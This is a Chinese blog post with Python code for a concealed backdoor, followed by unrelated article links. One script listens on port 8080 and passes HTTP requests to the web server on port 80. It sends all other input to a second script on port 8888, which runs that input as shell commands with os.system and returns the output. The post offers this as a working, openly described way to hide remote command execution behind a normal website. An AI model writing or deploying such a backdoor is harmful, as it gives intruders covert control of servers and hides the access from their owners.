python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现对PPT文件进行截图操作的方法
Apr 28 Python
Python多线程结合队列下载百度音乐的方法
Jul 27 Python
python实现备份目录的方法
Aug 03 Python
Python中二维列表如何获取子区域元素的组成
Jan 19 Python
Python3.4 splinter(模拟填写表单)使用方法
Oct 13 Python
python实现根据文件关键字进行切分为多个文件的示例
Dec 10 Python
python中的decimal类型转换实例详解
Jun 26 Python
pip install python 快速安装模块的教程图解
Oct 08 Python
Python读取excel文件中带公式的值的实现
Apr 17 Python
python redis存入字典序列化存储教程
Jul 16 Python
python获取系统内存占用信息的实例方法
Jul 17 Python
使用Python获取字典键对应值的方法
Apr 26 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
用Simple Excel导出xls实现方法
2012/12/06 PHP
深入理解用mysql_fetch_row()以数组的形式返回查询结果
2013/06/05 PHP
Yii2 queue的队列使用详解
2019/07/19 PHP
JS获取scrollHeight问题想到的标准问题
2007/05/27 Javascript
JQuery 图片延迟加载并等比缩放插件
2009/11/09 Javascript
div移动 输入框不能输入的问题
2009/11/19 Javascript
juqery 学习之三 选择器 层级 基本
2010/11/25 Javascript
JS 去除Array中的null值示例代码
2013/11/20 Javascript
JavaScript函数的4种调用方法详解
2014/04/22 Javascript
深入理解JavaScript系列(30):设计模式之外观模式详解
2015/03/03 Javascript
jquery二级目录选中当前页的css样式
2016/12/08 Javascript
在vue中获取dom元素内容的方法
2017/07/10 Javascript
js基于FileSaver.js 浏览器导出Excel文件的示例
2017/08/15 Javascript
vue+iview+less 实现换肤功能
2018/08/17 Javascript
nodejs中实现用户注册路由功能
2019/05/20 NodeJs
在JavaScript中使用严格模式(Strict Mode)
2019/06/13 Javascript
微信小程序开发之获取用户手机号码(php接口解密)
2020/05/17 Javascript
在Python中使用__slots__方法的详细教程
2015/04/28 Python
Python selenium实现微博自动登录的示例代码
2018/05/16 Python
Python编写通讯录通过数据库存储实现模糊查询功能
2019/07/18 Python
Python使用Tkinter实现转盘抽奖器的步骤详解
2020/01/06 Python
PyCharm配置anaconda环境的步骤详解
2020/07/31 Python
基于Python中Remove函数的用法讨论
2020/12/11 Python
CSS3的calc()做响应模式布局的实现方法
2017/09/06 HTML / CSS
美国高品质个性化珠宝销售网站:Jewlr
2018/05/03 全球购物
新加坡最佳婴儿用品店:Mamahood.com.sg
2018/08/26 全球购物
Columbia Sportswear法国官网:全球户外品牌
2020/09/25 全球购物
大学同学聚会邀请函
2014/01/19 职场文书
运动会广播稿200米
2014/01/27 职场文书
销售经理岗位职责
2014/03/16 职场文书
机关作风建设剖析材料
2014/10/11 职场文书
群众路线教育实践活动学习笔记内容
2014/11/06 职场文书
2015年乡镇扶贫工作总结
2015/04/08 职场文书
2015年城管个人工作总结范文
2015/04/20 职场文书
基于PyQT5制作一个桌面摸鱼工具
2022/02/15 Python
速龙x4-860k处理器相当于i几
2022/04/20 数码科技